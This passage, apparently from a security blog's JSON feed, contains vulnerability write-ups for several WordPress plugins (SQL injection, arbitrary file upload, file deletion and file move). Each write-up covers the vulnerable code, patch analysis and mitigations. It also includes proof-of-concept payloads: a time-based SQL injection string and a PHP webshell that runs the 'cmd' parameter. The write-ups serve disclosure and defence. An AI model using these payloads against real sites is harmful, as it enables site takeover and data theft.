wcpt_search() function, which serves as the primary entry point for processing search queries. The Source is the $filter_info['keyword'] array element, which receives unsanitized user input via a HTTP request (typically through parameters like [ID]_search_1 or filter_info[keyword]).\nData Entry: The raw input is stored in $keyword_phrase. Initial Processing: The input is converted to lowercase and trimmed, then split into an array of $keywords based on a separator. function wcpt_search($filter_info, $post__in = array()) { global $wpdb; if (empty($filter_info[\u0026#39;keyword\u0026#39;])) { return $post__in; } $filter_info = apply_filters(\u0026#39;wcpt_search_args\u0026#39;, $filter_info); if (empty($filter_info[\u0026#39;post_type\u0026#39;])) { $filter_info[\u0026#39;post_type\u0026#39;] = \u0026#39;product\u0026#39;; } if (!empty($filter_info[\u0026#39;use_default_search\u0026#39;])) { $search_terms = array_map(\u0026#39;trim\u0026#39;, explode(\u0026#39; \u0026#39;, $filter_info[\u0026#39;keyword\u0026#39;])); $sql = array(); Data Transformation (Vulnerable Flow) The execution flow moves to the wcpt_search__query() function. The plugin attempts to build a complex dynamic SQL query by manually parsing and reassembling strings:\nThe function uses explode('WHERE', $query, 2) to isolate the base query.\nIt then uses explode(\u0026lsquo;AND\u0026rsquo;, \u0026hellip;) to isolate conditions.\nif ($permitted[\u0026#39;keyword_exact\u0026#39;]) { // Extract the base part of the query (everything before WHERE) $query_parts = explode(\u0026#39;WHERE\u0026#39;, $query, 2); $base_query = $query_parts[0]; // Extract the fixed conditions (everything before the last AND) $conditions_parts = explode(\u0026#39;AND\u0026#39;, $query_parts[1]); $fixed_conditions = implode(\u0026#39;AND\u0026#39;, array_slice($conditions_parts, 0, -1)); The user-controlled $keyword is passed through $wpdb-\u0026gt;esc_like($keyword).\nif ($permitted[\u0026#39;phrase_like\u0026#39;]) { $esc_keyword_phrase = $wpdb-\u0026gt;esc_like($keyword_phrase); $post_ids = apply_filters(\u0026#39;wcpt_search__query_results\u0026#39;, $wpdb-\u0026gt;get_col($query . \u0026#34; LIKE \u0026#39;%$esc_keyword_phrase%\u0026#39;\u0026#34;)); $location[\u0026#39;phrase_like\u0026#39;] = $post_ids; foreach ($wcpt_search__keyword_product_matches as $_keyword =\u0026gt; $post_ids) { $wcpt_search__keyword_product_matches[$_keyword] = array_merge($wcpt_search__keyword_product_matches[$_keyword], $post_ids); } } foreach ($keywords as $k =\u0026gt; $keyword) { $esc_keyword = $wpdb-\u0026gt;esc_like($keyword); // keyword exact if ($permitted[\u0026#39;keyword_exact\u0026#39;]) { // Extract the base part of the query (everything before WHERE) $query_parts = explode(\u0026#39;WHERE\u0026#39;, $query, 2); $base_query = $query_parts[0]; // Extract the fixed conditions (everything before the last AND) $conditions_parts = explode(\u0026#39;AND\u0026#39;, $query_parts[1]); $fixed_conditions = implode(\u0026#39;AND\u0026#39;, array_slice($conditions_parts, 0, -1)); Note: While esc_like() escapes characters like % and _, it does not escape single quotes (') used for string termination in SQL.\nSink (Execution Point) The Sink is located within wcpt_search__query() where the $exact_queryis executed by the database:\n$exact_query = $base_query . \u0026#34;WHERE \u0026#34; . $fixed_conditions . \u0026#34;AND ( \u0026#34; . end($conditions_parts) . \u0026#34; = \u0026#39;$esc_keyword\u0026#39; OR \u0026#34; . end($conditions_parts) . \u0026#34; LIKE \u0026#39;% $esc_keyword %\u0026#39; OR \u0026#34; . end($conditions_parts) . \u0026#34; LIKE \u0026#39;$esc_keyword %\u0026#39; OR \u0026#34; . end($conditions_parts) . \u0026#34; LIKE \u0026#39;% $esc_keyword\u0026#39; )\u0026#34;; $post_ids = apply_filters(\u0026#39;wcpt_search__query_results\u0026#39;, $wpdb-\u0026gt;get_col($exact_query)); $location[\u0026#39;keyword_exact\u0026#39;] = array_merge($location[\u0026#39;keyword_exact\u0026#39;], $post_ids); $wcpt_search__keyword_product_matches[$keyword] = array_merge($wcpt_search__keyword_product_matches[$keyword], $post_ids); } Proof Of Concept (POC) Baseline Request Initially, a standard search request with the parameter 123 was sent. The server responded in approximately 1 second, which is the expected latency for a normal database query.\nTime-Based Injection Attack To confirm the SQL Injection vulnerability, I injected a time-delay payload into the search parameter. Due to the plugin\u0026rsquo;s architecture—which iterates search keywords across multiple database columns (title, content, SKU, etc.),the SLEEP() command is executed multiple times within a single request. This creates a Multiplier Effect.\nTest Case 1: Injecting 123' OR SLEEP(0.1) -- -\nResult: The server response time jumped to 23 seconds. Analysis: This indicates the SLEEP(0.1) command was executed roughly 230 times during the search process across different fields and match types. Test Case 2: Injecting 123' OR SLEEP(0.2) -- -\nResult: The server response time doubled to approximately 45 seconds. Conclusion The linear correlation between the SLEEP() duration and the total response time confirms that the input is being concatenated directly into the SQL query without proper sanitization or parameterization. This allows an unauthenticated attacker to execute arbitrary SQL commands, potentially leading to full database compromise.\n","permalink":"https://blog.pzhat.id.vn/posts/2026-03-05-cve-2026-2232/","summary":"\u003ch1 id=\"cve-2026-2232-product-table-and-list-builder-for-woocommerce-lite-vulnerable-to-unauthenticated-time-based-sql-injection-via-search-parameter\"\u003eCVE-2026-2232 Product Table and List Builder for WooCommerce Lite Vulnerable To Unauthenticated Time-Based SQL Injection via \u0026lsquo;search\u0026rsquo; Parameter\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/SkbyWJDObg.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"overview\"\u003eOverview\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ePublished:\u003c/strong\u003e 2026-02-19\n\u003cstrong\u003eCVE-ID:\u003c/strong\u003e CVE-2026-2232\n\u003cstrong\u003eCVSS:\u003c/strong\u003e 7.5 High\n\u003cstrong\u003eAffected Plugin:\u003c/strong\u003e Product Table and List Builder for WooCommerce Lite\n\u003cstrong\u003eAffected Versions:\u003c/strong\u003e \u0026lt;= 4.6.2\n\u003cstrong\u003eVulnerability Type:\u003c/strong\u003e Unauthenticate Time-Based SQL Injection\n\u003cstrong\u003eCWE:\u003c/strong\u003e CWE-89 Improper Neutralization of Special Elements used in an SQL Command\u003c/p\u003e\n\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eThe \u003cstrong\u003eProduct Table and List Builder for WooCommerce Lite plugin\u003c/strong\u003e for WordPress is vulnerable to \u003cstrong\u003etime-based SQL Injection\u003c/strong\u003e via the \u003cstrong\u003e\u0026lsquo;search\u0026rsquo; parameter\u003c/strong\u003e in \u003cstrong\u003eall versions\u003c/strong\u003e up to, and including, \u003cstrong\u003e4.6.2\u003c/strong\u003e due to \u003cstrong\u003einsufficient escaping\u003c/strong\u003e on the user supplied parameter and \u003cstrong\u003elack of sufficient preparation\u003c/strong\u003e on the existing \u003cstrong\u003eSQL query\u003c/strong\u003e. This makes it possible for unauthenticated attackers to append \u003cstrong\u003eadditional SQL queries\u003c/strong\u003e into already existing queries that can be used to \u003cstrong\u003eextract sensitive information\u003c/strong\u003e from the database.\u003c/p\u003e","title":"CVE-2026-2232 Product Table and List Builder for WooCommerce Lite Vulnerable To Unauthenticated Time-Based SQL Injection"},{"content":"WordPress HT Contact Form 7 Plugin \u0026lt;= 2.2.1 is vulnerable to a high priority Arbitrary File Upload Overview Published: 2025-07-15 CVE-ID: CVE-2025-7340 CVSS: 10 Critical Affected Plugin: WordPress HT Contact Form 7 Plugin Affected Versions: \u0026lt;= 2.2.1 Vulnerability Type: High priority Arbitrary File Upload CWE: CWE-434 Unrestricted Upload of File with Dangerous Type\nDescription The HT Contact Form Widget For Elementor Page Builder \u0026amp; Gutenberg Blocks \u0026amp; Form Builder. plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the temp_file_upload function in all versions up to, and including, 2.2.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site\u0026rsquo;s server which may make remote code execution possible.\nPatch And Commit Analysis Looking at the plugin\u0026rsquo;s change log, we see a stark contrast between the two versions, revealing a massive security oversight by the developer in the previous release:\nVersion 2.2.1 (Vulnerable): This version basically \u0026ldquo;left the door wide open\u0026rdquo; for hackers. At this stage, the temporary file upload handler (temp_file_upload) had zero barriers. The plugin accepted any file type sent by users without asking a single question—whether it was a harmless image or malicious code. This fundamental flaw turned a convenient feature into a red carpet for Remote Code Execution (RCE) attacks. The \u0026ldquo;Emergency\u0026rdquo; Fix in Version 2.2.2: Just one day later, version 2.2.2 was rushed out with a telling note: \u0026ldquo;Improved: File upload handling by adding file type validation.\u0026rdquo; The urgent addition of file type validation and filename sanitization is the clearest evidence that, in version 2.2.1, these basic security mechanisms were completely ignored. Vulnerable Code and Patch Code Analysis Arbitrary File Upload The code uses the temp_file_upload function in the Ajax class to handle temporary file uploads via Ajax. After checking if a file is present, this function invokes the temp_file_upload method in the FileManager class:\npublic function temp_file_upload() { check_ajax_referer(\u0026#39;ht_form_ajax_nonce\u0026#39;, \u0026#39;_wpnonce\u0026#39;); $file = $_FILES[\u0026#39;ht_form_file\u0026#39;]; // Check if file is present if (!isset($file)) { wp_send_json_error(\u0026#39;No file uploaded.\u0026#39;); } return $this-\u0026gt;file_manager-\u0026gt;temp_file_upload($file); } public function temp_file_upload($file) { $destination = \u0026#34;{$this-\u0026gt;dir}/temp\u0026#34;; $this-\u0026gt;maybe_create_directories($destination); // Validate file $validation = $this-\u0026gt;validate($file); if (!$validation[\u0026#39;valid\u0026#39;]) { wp_send_json_error($validation[\u0026#39;message\u0026#39;]); return; } // Process the file $filename = $this-\u0026gt;process_filename($file[\u0026#39;name\u0026#39;]); $file_path = \u0026#34;{$destination}/$filename\u0026#34;; // File type validation check $validate = wp_check_filetype( $filename ); if ($validate[\u0026#39;type\u0026#39;] === false) { wp_send_json_error(\u0026#39;Invalid file type.\u0026#39;); return; } // Check if directory is writable if (!is_writable($destination)) { wp_send_json_error(\u0026#34;Directory is not writable: {$destination}\u0026#34;); return; } // Move file to temporary directory if (move_uploaded_file($file[\u0026#39;tmp_name\u0026#39;], $file_path)) { wp_send_json_success([ \u0026#39;file_id\u0026#39; =\u0026gt; $filename, \u0026#39;file_name\u0026#39; =\u0026gt; $file[\u0026#39;name\u0026#39;], \u0026#39;file_size\u0026#39; =\u0026gt; $file[\u0026#39;size\u0026#39;] ]); return; } else { $upload_error = error_get_last(); wp_send_json_error(\u0026#39;Failed to save uploaded file. Error: \u0026#39; . ($upload_error ? $upload_error[\u0026#39;message\u0026#39;] : \u0026#39;Unknown error\u0026#39;)); return; } } Vulnerability Analysis As shown above, the function lacks proper validation mechanisms such as:\nFile type restrictions (only allowing safe formats like .jpg, .png, .pdf) MIME type verification Extension checks Because of this, attackers can upload arbitrary files — including .php scripts containing malicious code. If these files are executed on the server, they can lead to Remote Code Execution (RCE), giving attackers full control over the site.\nPatch Analysis\nLooking at the patch of FileManager.php, we can clearly see that Developers add an File type validation check for temp_file_upload at the patch. So at the patch version, temporary files file type will be checked before moving into temporary directory.\nArbitrary File Deletion During code analysis, the plugin using temp_file_delete function to delete temporary file via Ajax.\n/** * Handle Delete Temporary File on AJAX */ public function temp_file_delete() { check_ajax_referer(\u0026#39;ht_form_ajax_nonce\u0026#39;, \u0026#39;_wpnonce\u0026#39;); $file_id = isset($_POST[\u0026#39;ht_form_file_id\u0026#39;]) ? sanitize_file_name(wp_unslash($_POST[\u0026#39;ht_form_file_id\u0026#39;])) : \u0026#39;\u0026#39;; if (!$file_id) { wp_send_json_error(\u0026#39;No file ID provided\u0026#39;); } if ($this-\u0026gt;file_manager-\u0026gt;temp_file_delete($file_id)) { wp_send_json_success(); } else { wp_send_json_error(\u0026#39;Failed to delete file\u0026#39;); } } This temp_file_delete function also invokes the temp_file_delete at FileManager class and it using to delete temporary file from temp folder.\n/** * Delete temporary file * @return bool Return `true` if file deleted successfully else `false` */ public function temp_file_delete($file_id) { $file = \u0026#34;{$this-\u0026gt;dir}/temp/$file_id\u0026#34;; if (file_exists($file) \u0026amp;\u0026amp; is_writable($file)) { @unlink($file); return true; } return false; } Vulnerability Analysis Because the file_id parameter isn’t properly validated, attackers can supply arbitrary paths. This flaw allows unauthenticated users to delete any file on the server, including critical ones like wp-config.php. Removing that file forces WordPress into its installation setup, which attackers can then hijack by pointing it to a database they control. From there, they gain access to the site’s server and can escalate the compromise with further malicious actions.\nPatch Analysis\nDevelopers also apply an patch at Ajax.php, in details, they have change the function inside temp_file_delete() from sanitize_text_field to sanitize_file_name, both of them also are wordpress core funcion.\nArbitrary File Move In further analysis, we also can see that plugin using handle_file_upload function to control upload mechanism in submission.php.\npublic function handle_files_upload($form_data, $form) { foreach ($form[\u0026#39;fields\u0026#39;] as $field) { if ($field[\u0026#39;type\u0026#39;] === \u0026#39;file_upload\u0026#39;) { $destination = $field[\u0026#39;settings\u0026#39;][\u0026#39;upload_location\u0026#39;] ?? \u0026#39;ht_form_default\u0026#39;; $files = $form_data[$field[\u0026#39;settings\u0026#39;][\u0026#39;name_attribute\u0026#39;]]; if (!empty($files)) { foreach ($files as $key =\u0026gt; $file) { $file = sanitize_file_name($file); $form_data[$field[\u0026#39;settings\u0026#39;][\u0026#39;name_attribute\u0026#39;]][$key] = $this-\u0026gt;upload_file($file, $destination); } } } } return $form_data; } This handle_files_upload function also invokes the upload_file at submission class.\npublic function upload_file($file_name, $destination) { $upload_dir = wp_upload_dir(); $temp_file = $upload_dir[\u0026#39;basedir\u0026#39;] . \u0026#39;/ht_form/temp/\u0026#39; . $file_name; if($destination === \u0026#39;media_library\u0026#39;) { // === ATTACH TO MEDIA LIBRARY === require_once ABSPATH . \u0026#39;wp-admin/includes/file.php\u0026#39;; require_once ABSPATH . \u0026#39;wp-admin/includes/media.php\u0026#39;; require_once ABSPATH . \u0026#39;wp-admin/includes/image.php\u0026#39;; $file = [ \u0026#39;name\u0026#39; =\u0026gt; basename($file_name), \u0026#39;tmp_name\u0026#39; =\u0026gt; $temp_file, \u0026#39;type\u0026#39; =\u0026gt; mime_content_type($temp_file), \u0026#39;error\u0026#39; =\u0026gt; 0, \u0026#39;size\u0026#39; =\u0026gt; filesize($temp_file), ]; $attachment_id = media_handle_sideload($file, 0); if(is_wp_error($attachment_id)) { return $attachment_id-\u0026gt;get_error_message(); } else { @unlink($temp_file); return wp_get_attachment_url($attachment_id); } } elseif($destination === \u0026#39;ht_form_default\u0026#39;) { $destination = $upload_dir[\u0026#39;basedir\u0026#39;] . \u0026#39;/ht_form\u0026#39;; if (!file_exists($destination)) { wp_mkdir_p($destination); } $file_name = wp_unique_filename($destination, $file_name); $file_path = \u0026#34;$destination/$file_name\u0026#34;; if (rename($temp_file, $file_path)) { // Return URL instead of file path return $upload_dir[\u0026#39;baseurl\u0026#39;] . \u0026#39;/ht_form/\u0026#39; . $file_name; } } return false; } Vulnerability Analysis\nBecause the file name parameter is not properly validated, attackers can supply arbitrary paths. This input is then passed to the rename() function, which relocates the specified file into the uploads directory.\nAs a result, an attacker can target and move any file on the server, effectively deleting it from its original location. Even critical files like wp-config.php can be moved by unauthenticated users. Once wp-config.php is removed, WordPress reverts to its installation setup, giving attackers the opportunity to hijack the process by linking the site to a database they control. This enables them to take over the site and potentially escalate access to the server for further exploitation.\nPatch Analysis\nAt Submission.php file, they add an sanitize_file_name() function to patch the issue at handle_files_upload function, with this patch, when user input got in, the function will check the file name to make sure it does not have any suspicious name.\nTechnical Trace Analysis: From Source to Sink The following analysis demonstrates the data flow of the Arbitrary File Upload vulnerability leading to Remote Code Execution (RCE) in version 2.2.1.\nThe Source: Unauthenticated Input Entry The journey begins when an attacker sends a crafted multipart HTTP POST request to the WordPress AJAX handler.\nLocation: Ajax.php Method: temp_file_upload() Code Snippet:\npublic function temp_file_upload() { check_ajax_referer(\u0026#39;ht_form_ajax_nonce\u0026#39;, \u0026#39;_wpnonce\u0026#39;); $file = $_FILES[\u0026#39;ht_form_file\u0026#39;]; // Check if file is present if (!isset($file)) { wp_send_json_error(\u0026#39;No file uploaded.\u0026#39;); } return $this-\u0026gt;file_manager-\u0026gt;temp_file_upload($file); } Analysis: The variable $_FILES['ht_form_file'] is the Source. It accepts any file provided by the user (e.g., shell.php). Because the check_ajax_referer is the only check performed, any unauthenticated user can reach this point.\nThe Processing: Logic Bypass \u0026amp; Data Transformation The data is passed to the FileManager class, which acts as the intermediary processing layer.\nLocation: FileManager.php Method: temp_file_upload($file) Logic Flow:\nDirectory Definition: It sets the temporary path: public function temp_file_upload($file) { $destination = \u0026#34;{$this-\u0026gt;dir}/temp\u0026#34;; $this-\u0026gt;maybe_create_directories($destination); Filename Handling: It calls $this-\u0026gt;process_filename($file['name']); to generate the server-side filename (often adding a prefix). The Flaw: In version 2.2.1, this method lacks file extension validation (such as wp_check_filetype). The input passes through this layer completely unfiltered, allowing malicious scripts to proceed to the file system.\nThe Sink: Dangerous File System Execution This is the \u0026ldquo;Final Destination\u0026rdquo; where the malicious input is physically written to the server\u0026rsquo;s disk.\nLocation: FileManager.php\nFunction: move_uploaded_file()\nCode Snippet:\n// [SINK] if (move_uploaded_file($file[\u0026#39;tmp_name\u0026#39;], $file_path)) { wp_send_json_success([\u0026#39;file_id\u0026#39; =\u0026gt; $filename, ...]); } Analysis: This is the Sink. The shell.php file is officially written to the /temp/ directory within the WordPress uploads folder. Since the server-side filename is returned in the JSON response, the attacker can immediately access the file via a web browser to execute commands on the server.\nProof Of Concept (POC) To demonstrate this vulnerability, I created a WordPress page with the HT-Contactform plugin that includes a file upload function.\nFirst, I uploaded a test.txt file and intercepted the HTTP request using BurpSuite.\nWhen the file was uploaded, the plugin sent a POST request to /wp-admin/admin-ajax.php. The server responded with JSON data containing the process status, file_id, and file_name. I then checked the upload directory to confirm that the file was saved successfully.\nThe file was stored in: /wp-content/uploads/ht_form/temp/\nFrom this analysis, it is clear that the current version of the plugin does not implement validation or restrictions on the upload mechanism. To exploit this, I uploaded a PHP shell.\nThe PHP file contained the following code:\n\u0026lt;?php phpinfo(); ?\u0026gt; The upload was successful. Next, I accessed the file directly to verify execution.\nThe result was a rendered phpinfo() page, confirming that arbitrary PHP code can be uploaded and executed. This concludes my Proof of Concept for the vulnerability.\n","permalink":"https://blog.pzhat.id.vn/posts/2026-03-03-cve-2025-7340/","summary":"\u003ch1 id=\"wordpress-ht-contact-form-7-plugin--221-is-vulnerable-to-a-high-priority-arbitrary-file-upload\"\u003eWordPress HT Contact Form 7 Plugin \u0026lt;= 2.2.1 is vulnerable to a high priority Arbitrary File Upload\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/HJ5TohCu-g.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"overview\"\u003eOverview\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ePublished:\u003c/strong\u003e 2025-07-15\n\u003cstrong\u003eCVE-ID:\u003c/strong\u003e CVE-2025-7340\n\u003cstrong\u003eCVSS:\u003c/strong\u003e 10 Critical\n\u003cstrong\u003eAffected Plugin:\u003c/strong\u003e WordPress HT Contact Form 7 Plugin\n\u003cstrong\u003eAffected Versions:\u003c/strong\u003e \u0026lt;= 2.2.1\n\u003cstrong\u003eVulnerability Type:\u003c/strong\u003e High priority Arbitrary File Upload\n\u003cstrong\u003eCWE:\u003c/strong\u003e CWE-434 Unrestricted Upload of File with Dangerous Type\u003c/p\u003e\n\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eThe HT Contact Form Widget For Elementor Page Builder \u0026amp; Gutenberg Blocks \u0026amp; Form Builder. plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the temp_file_upload function in all versions up to, and including, 2.2.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site\u0026rsquo;s server which may make remote code execution possible.\u003c/p\u003e","title":"WordPress HT Contact Form 7 Plugin \u003c= 2.2.1 is vulnerable to a high priority Arbitrary File Upload"},{"content":"CVE-2025-13329 File Uploader for WooCommerce \u0026lt;= 1.0.3 - Unauthenticated Arbitrary File Upload via add-image-data File Uploader for WooCommerce Plugin Overview Published: 2025-12-20 CVE-ID: CVE-2025-13329 Affected Plugin: File Uploader for WooCommerce Affected Versions: \u0026lt;= 1.0.3 Vulnerability Type: Unauthenticated Arbitrary File Upload via add-image-data CWE-434: CWE-434 Unrestricted Upload of File with Dangerous Type Description The File Uploader for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the callback function for the \u0026lsquo;add-image-data\u0026rsquo; REST API endpoint in all versions up to, and including, 1.0.3. This makes it possible for unauthenticated attackers to upload arbitrary files to the Uploadcare service and subsequently download them on the affected site\u0026rsquo;s server which may make remote code execution possible.\nPatch \u0026amp; Commit Analysis Comparing the source code of version 1.0.3 and 1.0.4, I identified two critical changes that address the vulnerability:\nAuthorization Check src/JsonApi/class-imagejsonapi.php:\nIn the vulnerable version, the REST API endpoint add-image-data was publicly accessible because the permission_callback was set to allow any user.\nVulnerable Code (v1.0.3): The check_user_permissions function simply returned true, and there was no Nonce verification in the register_rest_route callback.\nPatched Code (v1.0.4): The developer added a Nonce verification step. The server now checks for a valid wcu_upload_nonce before processing the request. If the nonce is missing or invalid, it returns a 403 Forbidden error.\nFile Extension Validation src/Classes/Helpers/UploaderHelper.php\nThe most critical fix was applied to the file handling logic.\nVulnerable Code (v1.0.3): The upload_image function accepted the fileName parameter directly from the user request and used it to save the file on the server. There was no validation of the file extension. // v1.0.3 logic $file_name = sanitize_text_field( $uuid . \u0026#39;.\u0026#39; . $filename_from_url[\u0026#39;extension\u0026#39;] ); Patched Code (v1.0.4): The developer implemented a strict Allowlist (Whitelist) mechanism. Uses wp_check_filetype() to validate the file type. Defines an $allowed_types array containing only image formats (jpg, jpeg, png, gif, webp). If the uploaded file\u0026rsquo;s extension does not match the allowlist, the process is terminated immediately. Root Cause Analysis The vulnerability stems from a combination of Insecure Design in the API endpoint and Insufficient Input Validation.\nEntry Point (class-imagejsonapi.php): The plugin registers a custom REST API route /wp-json/v1/add-image-data. The check_user_permissions() method explicitly returns true, allowing unauthenticated access.\npublic function check_user_permissions(): bool { return true; // Allow logged-out users. } The Exploit Sink (class-uploaderhelper.php): The upload_image function retrieves a file from the Uploadcare CDN (ucarecdn.com) using a provided UUID.\nThe function constructs the local file path using the fileName parameter supplied by the user: $filename_from_url = pathinfo( $original_file_name ); if ( ! isset( $filename_from_url[\u0026#39;extension\u0026#39;] ) || ! $filename_from_url[\u0026#39;extension\u0026#39;] ) { return null; } $upload_dir = wp_get_upload_dir(); $file_name = sanitize_text_field( $uuid . \u0026#39;.\u0026#39; . $filename_from_url[\u0026#39;extension\u0026#39;] ); $modifications = sanitize_text_field( $modifications ); $file_path = $upload_dir[\u0026#39;basedir\u0026#39;] . \u0026#39;/file-uploader/\u0026#39; . $file_name; if ( is_file( $file_path ) ) { unlink( $file_path ); } Since sanitize_text_field does validate file\u0026rsquo;s extension (ex: .php), an attacker can supply a malicious filename (e.g., shell.php). The plugin then downloads the content from Uploadcare and saves it to the WordPress uploads directory with the executable extension. Tracing the execution flow reveals that the $original_file_name variable is populated directly from the request\u0026rsquo;s fileName parameter. As seen in the debugger, the value \u0026lsquo;pokemon00.jpg\u0026rsquo; is assigned without any validation against a strict allowlist at this stage.\nThe execution flow then proceeds to the UploaderHelper:upload_image method. Here, the root cause of the vulnerability is exposed. The code utilizes pathinfo() to parse the extension from the unverified $original_file_name.\nCrucially, instead of verifying if this extension is a safe image format (like PNG or JPEG), the code blindly concatenates it to the UUID. The screenshot demonstrates this behavior, where the $file_name variable is constructed using the attacker-controlled extension.\nProof Of Concept As observed in UploaderHelper.php (line 56), the plugin hardcodes the download URL to the ucarecdn.com domain. However, when I uploaded the shell payload via a free Uploadcare account, the file was hosted on ucarecd.net (specifically 2pn21h45pa.ucarecd.net).\nThe Reality of the Payload, my browser clearly shows that your uploaded payload (phpinfo) is being hosted on a different domain: ucarecd.net (specifically 2pn21h45pa.ucarecd.net).\nNote: Uploadcare often uses ucarecd.net for free/demo accounts or specific CDN regions, whereas the plugin assumes the production ucarecdn.com domain.\nThe Conflict: The plugin attempts to fetch https://ucarecdn.com//, but the file actually resides at https://2pn21h45pa.ucarecd.net//. This domain mismatch causes the server to return a 404 Not Found error during the sink operation.\nhttps://ucarecdn.com/\u0026lt;UUID\u0026gt;/ However, my file actually exists at:\nhttps://2pn21h45pa.ucarecd.net/\u0026lt;UUID\u0026gt;/ Because the file does not exist on the .com domain, the server returns a 404 Not Found, and the sink (file save) operation fails.\nThe Solution Environment Limitation Bypass: To reproduce this vulnerability in a local lab environment without a paid Uploadcare subscription, I performed a white-box modification. I patched the code to accept a custom URL via the originalUrl parameter, overriding the hardcoded ucarecdn.com domain.\nNote: This modification is only required for testing with free accounts. In a real-world scenario, an attacker could utilize a compatible Uploadcare account or endpoint to bypass this restriction without modifying the plugin code\nPayload Creation: Created a simple PHP shell named pwn.txt containing :\n\u0026lt;?php system($_GET[\u0026#34;cmd\u0026#34;]); ?\u0026gt; Uploaded the file to Uploadcare via cURL and retrieved the UUID\nThe url to the file was .net because the account issue but the code will handle it.\nSent a POST request to the WordPress endpoint. Due to the white-box patch, the plugin accepted the .net domain from my originalUrl parameter, downloaded the pwn.txt content, and saved it locally as shell.php\nFinally, I navigated to the upload directory. Accessing UUID.php executed the PHP code successfully, confirming Remote Code Execution (RCE). This concludes the Proof of Concept.\nMitigation To fix this vulnerability and prevent similar attacks, the following steps should be taken:\nStrict File Type Validation (Allowlist):\nDo not rely on client-side checks or user-provided filenames.\nImplement server-side validation using wp_check_filetype() to ensure only specific extensions (e.g., .jpg, .png, .gif) are allowed.\nAction: If a file extension is not in the allowlist, terminate the upload immediately.\nImplement Authorization \u0026amp; Nonce Checks:\nThe API endpoint must verify user permissions. Add a permission_callback to ensure only authorized users (e.g., admins or shop managers) can access the route.\nInclude Nonce verification to protect against CSRF and unauthorized direct API access.\nSecure Filename Generation:\nNever trust the fileName parameter from the request.\nGenerate a new, random filename on the server (e.g., using MD5/SHA256 of the UUID) and append the safe extension derived from the validation step.\nServer Hardening (Defense-in-Depth):\nConfigure the web server (Apache/Nginx) to disable PHP execution in the wp-content/uploads directory. This prevents uploaded webshells from running even if they bypass the application logic. ","permalink":"https://blog.pzhat.id.vn/posts/2026-02-03-cve-2025-13329/","summary":"\u003ch1 id=\"cve-2025-13329-file-uploader-for-woocommerce--103---unauthenticated-arbitrary-file-upload-via-add-image-data\"\u003eCVE-2025-13329 File Uploader for WooCommerce \u0026lt;= 1.0.3 - Unauthenticated Arbitrary File Upload via add-image-data\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/SJGvzVA8bg.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"file-uploader-for-woocommerce-plugin\"\u003eFile Uploader for WooCommerce Plugin\u003c/h1\u003e\n\u003ch2 id=\"overview\"\u003eOverview\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePublished:\u003c/strong\u003e 2025-12-20\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCVE-ID:\u003c/strong\u003e CVE-2025-13329\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAffected Plugin:\u003c/strong\u003e File Uploader for WooCommerce\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAffected Versions:\u003c/strong\u003e \u0026lt;= 1.0.3\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVulnerability Type:\u003c/strong\u003e Unauthenticated Arbitrary File Upload via add-image-data\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCWE-434:\u003c/strong\u003e CWE-434 Unrestricted Upload of File with Dangerous Type\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eThe File Uploader for WooCommerce\u003c/strong\u003e plugin for \u003cstrong\u003eWordPress\u003c/strong\u003e is \u003cstrong\u003evulnerable to arbitrary file uploads\u003c/strong\u003e due to missing file type validation in the callback function for the \u003cstrong\u003e\u0026lsquo;add-image-data\u0026rsquo;\u003c/strong\u003e \u003cstrong\u003eREST API\u003c/strong\u003e endpoint in all versions up to, and including, \u003cstrong\u003e1.0.3\u003c/strong\u003e. This makes it possible for \u003cstrong\u003eunauthenticated\u003c/strong\u003e attackers to upload arbitrary files to the Uploadcare service and subsequently download them on the affected site\u0026rsquo;s server which may make \u003cstrong\u003eremote code execution\u003c/strong\u003e possible.\u003c/p\u003e","title":"CVE-2025-13329 File Uploader for WooCommerce"},{"content":"CVE-2025-68519 WordPress Brands for WooCommerce Plugin \u0026lt;= 3.8.6.3 is vulnerable to SQL Injection WordPress Brands for WooCommerce Plugin Overview Published: 2025-12-24 CVE ID: CVE-2025-68519 Affected Plugin: WordPress Brands for WooCommerce Affected Versions: \u0026lt;= 3.8.6.3 Vulnerability Type: SQL Injection vulnerability Description Improper Neutralization of Special Elements used in an SQL Command (\u0026lsquo;SQL Injection\u0026rsquo;) vulnerability in BeRocket Brands for WooCommerce brands-for-woocommerce allows Blind SQL Injection.This issue affects Brands for WooCommerce: from n/a through \u0026lt;= 3.8.6.3.\nAccording to the official changelog, the vendor released version 3.8.6.4 to address this critical security issue. The release notes explicitly mention the following update:\n- Fix – SQL vulnerability in shortcodes\nThis confirms that the SQL Injection vulnerability was present in version 3.8.6.3 and earlier, and specifically identifies the plugin\u0026rsquo;s shortcode functionality as the vector for this flaw. Users are strongly advised to update to version 3.8.6.4 or later to mitigate this risk. For the purpose of reproducing the vulnerability and debugging, I downloaded version 3.8.6.3 for testing.\nPatch \u0026amp; Commit Analysis Looking at the patch, the developer replaced the insufficient trim() function with sanitize_title_for_query(). This WordPress core function sanitizes the input specifically for query contexts by removing unsafe characters (such as single quotes), effectively neutralizing the SQL Injection 